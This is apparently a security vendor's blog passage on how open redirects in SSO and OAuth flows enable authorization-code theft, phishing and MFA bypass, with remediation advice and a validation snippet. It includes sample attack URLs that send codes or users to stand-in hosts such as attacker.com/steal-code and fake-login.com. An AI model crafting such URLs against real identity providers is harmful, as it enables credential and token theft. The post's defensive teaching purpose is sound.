How Open Redirects Break SSO Security

Table of Contents

Updated March 1, 2027

Open redirects seem harmless at first glance—a simple URL that reroutes users to another location. But when these redirects intersect with Single Sign-On (SSO) systems, they become a silent gateway for attackers. At Misar, we’ve seen how subtle flaws in redirect logic can undermine even the most robust authentication frameworks. Whether it’s a misconfigured redirect_uri in OAuth flows or a careless implementation of “next” parameters in legacy systems, open redirects can turn trusted SSO gates into trojan horses for phishing, session hijacking, and privilege escalation.

The danger isn’t theoretical. In real-world breaches, attackers have weaponized open redirects to bypass multi-factor authentication (MFA), steal session tokens, or trick users into authorizing malicious applications. These aren’t edge cases—they’re common oversights that persist because redirect validation is often treated as an afterthought. Even standards like OAuth 2.0 and OpenID Connect (OIDC) acknowledge this risk in their security considerations, yet implementations still fail to enforce strict validation.

At Misar, we build tools to help organizations eliminate these blind spots. Whether you’re using our MisarIO platform to monitor authentication flows or integrating our SDKs into your SSO pipeline, understanding open redirect vulnerabilities is the first step toward securing your identity infrastructure. This isn’t just about fixing a bug—it’s about preventing a breach before it starts.

The Hidden Threat in Your SSO Redirects

Open redirects occur when a web application accepts untrusted input (like a URL parameter) and uses it to redirect users without proper validation. In SSO systems, this vulnerability typically manifests in two places:

Authorization Code Flows (OAuth/OIDC): The redirect_uri parameter in the initial authorization request, which defines where the identity provider (IdP) sends the authorization code.
Post-Authentication Handlers: The “next” or “return” parameter used to redirect users after login, often seen in legacy authentication systems.

Consider a typical OAuth flow. The client application sends a request like:

https://idp.example.com/authorize?

response_type=code&

client_id=123&

redirect_uri=https://app.example.com/callback&

scope=openid%20email&

state=random123

If the redirect_uri isn’t strictly validated against a pre-registered list, an attacker could craft a request like:

https://idp.example.com/authorize?

response_type=code&

client_id=123&

redirect_uri=https://attacker.com/steal-code&

...

When the user authenticates, the IdP sends the authorization code to attacker.com instead of the legitimate application. The attacker can then exchange the code for an access token, impersonate the user, or launch further attacks. This isn’t hypothetical—it’s a documented technique used in real-world phishing campaigns.

Real-World Consequences

Open redirects in SSO systems have led to critical breaches across industries:

Cloud Services: In 2020, a major cloud provider’s SSO system was found to allow open redirects, enabling attackers to craft malicious login links that bypassed MFA.
Financial Institutions: A bank’s legacy authentication system used a next parameter for post-login redirects. By manipulating this parameter, attackers redirected users to fake login pages, harvesting credentials.
Government Portals: An open redirect in a national identity provider allowed attackers to craft URLs that tricked users into authorizing malicious applications, leading to unauthorized data access.

The pattern is consistent: a single unvalidated redirect parameter turns a trusted SSO system into an attack vector. And because these redirects often occur after authentication, they can bypass even advanced security controls like risk-based authentication (RBA) or adaptive MFA.

How Attackers Exploit Open Redirects in SSO

Exploiting open redirects in SSO requires a mix of technical precision and social engineering. Attackers typically follow a multi-stage approach:

1. Identifying Vulnerable Endpoints

The first step is reconnaissance. Attackers look for applications that:

Accept redirect_uri, next, return, or similar parameters in authentication flows.
Fail to validate these parameters against a strict allowlist.
Include logic like "redirect to [user-supplied URL] after login".

For example, an OAuth /.well-known/openid-configuration endpoint might reveal supported redirect_uri schemes or patterns. MisarIO’s authentication flow analyzer can flag such endpoints during penetration testing, giving defenders a head start in remediation.

2. Crafting the Attack Vector

Once a vulnerable endpoint is identified, the attacker crafts a malicious URL. This might look like:

https://idp.example.com/authorize?

response_type=code&

client_id=good_client&

redirect_uri=https://legit.example.com/callback?redirect=https://attacker.com/harvest&

state=arbitrary

Here, the redirect_uri includes a secondary redirect to the attacker’s server. When the IdP sends the authorization code to legit.example.com, the server automatically forwards it to attacker.com. The attacker can now:

Exchange the code for tokens (if the client is confidential).
Use the code to impersonate the user (if the client is public).
Trigger further phishing attacks.

Even with a vulnerable redirect, attackers need user interaction to succeed. Common tactics include:

Phishing Emails: Sending a link like https://idp.example.com/auth?next=https://fake-login.com to trick users into entering credentials.
Malicious Applications: Registering a rogue OAuth app with the IdP, then using open redirects to harvest tokens.
Session Fixation: Using redirects to force users into a compromised session.

In one case, attackers exploited an open redirect in a government portal’s SSO to craft URLs that appeared to originate from official domains. Users who clicked these links were redirected to fake login pages, unknowingly surrendering their credentials to a phishing site.

4. Escalating the Attack

After gaining initial access, attackers can:

Bypass MFA: If the redirect occurs after authentication but before MFA, it may skip MFA checks entirely.
Steal Session Tokens: Redirects can leak tokens via URL fragments or HTTP referer headers.
Chain Vulnerabilities: Combine open redirects with other flaws (e.g., CSRF, XSS) to escalate privileges.

For instance, an attacker could use an open redirect to load a malicious JavaScript payload, which then steals session cookies or performs actions on behalf of the user.

Why Traditional Defenses Fail

Many organizations assume they’re protected because:

They use OAuth 2.0 or OpenID Connect.
Their redirect_uri is hardcoded in the client.
They’ve implemented MFA.

But these defenses often fall short. Here’s why:

1. OAuth 2.0 Doesn’t Enforce Strict Validation

OAuth 2.0 (RFC 6749) recommends validating redirect_uri against a pre-registered list, but it doesn’t mandate it. Many IdPs only perform superficial checks, such as:

Ensuring the URI is HTTPS.
Verifying the domain matches a partial pattern (e.g., *.example.com).

This is insufficient. Attackers can exploit:

Path Traversal: https://app.example.com/callback/../malicious
Port Scanning: https://app.example.com:8080/callback
Fragment Abuse: https://app.example.com/callback#redirect=https://attacker.com

2. Hardcoded redirect_uri Isn’t Always Enforced

Developers often hardcode the redirect_uri in the client application, but this doesn’t prevent attackers from overriding it via:

Mobile Deep Links: myapp://oauth/callback?redirect=https://attacker.com
Proxy Servers: Intercepting and modifying requests.
Browser Extensions: Modifying parameters in transit.

For example, a mobile app might register myapp://oauth/callback as its redirect_uri, but an attacker could craft a URL like:

myapp://oauth/callback?redirect=https://attacker.com

If the app doesn’t validate the parameter, the redirect could be exploited.

3. MFA Isn’t a Silver Bullet

MFA adds a critical layer of security, but it’s not foolproof. Attackers can:

Bypass MFA: If the open redirect occurs after authentication but before MFA, the flow may skip MFA checks.
Trick Users: Use the redirect to load a fake MFA prompt (e.g., a spoofed Duo or Google Authenticator page).
Steal Session Tokens: Redirects can leak tokens via URL fragments or HTTP referer headers.

In one incident, attackers exploited an open redirect in a healthcare portal’s SSO to bypass MFA, gaining access to patient records.

4. Legacy Systems Are Particularly Vulnerable

Many organizations rely on older authentication systems (e.g., SAML, LDAP) that use next or return parameters for post-login redirects. These systems often:

Lack strict validation.
Assume the redirect URL is trusted.
Don’t enforce HTTPS.

For example, a legacy enterprise portal might use a URL like:

https://portal.example.com/login?next=http://internal.example.com/dashboard

If an attacker modifies the next parameter to https://attacker.com/harvest, they could harvest session tokens or redirect users to malicious sites.

How to Fix Open Redirects in SSO Systems

Eliminating open redirects in SSO systems requires a combination of strict validation, architectural changes, and continuous monitoring. Here’s how to do it right:

1. Enforce Strict redirect_uri Validation

For OAuth/OIDC systems:

Use Exact Matching: Validate the redirect_uri against a pre-registered allowlist. Exact matching (not pattern matching) is the gold standard.
Reject Wildcards: Avoid allowing .example.com or https://.example.com/*—these are trivial to abuse.
Validate Schemes and Ports: Ensure the URI uses HTTPS and the correct port (e.g., 443 for HTTPS).

Example in code (OAuth 2.0 server-side):

`python

Pseudocode for redirect_uri validation

allowed_redirect_uris = [

"https://app.example.com/callback",

"https://mobile.app.example.com/oauth/callback"

]

def validate_redirect_uri(redirect_uri):

if redirect_uri not in allowed_redirect_uris:

raise InvalidRedirectUriError("Redirect URI not allowed")

if not redirect_uri.startswith("https://"):

raise InvalidRedirectUriError("Must use HTTPS")

if not is_exact_match(redirect_uri, allowed_redirect_uris):

raise InvalidRedirectUriError("No wildcard or path traversal allowed")

2. Eliminate User-Supplied Redirect Parameters

Avoid parameters like next, return, or redirect in authentication flows. Instead:

Use Session State: Store the intended redirect URL in the user’s session and retrieve it server-side.
Enforce Fixed Paths: Define a single, hardcoded redirect path (e.g., /post-login).
Reject Query Parameters: Treat any query parameter as a potential attack vector.

For example, replace:

https://app.example.com/login?next=https://attacker.com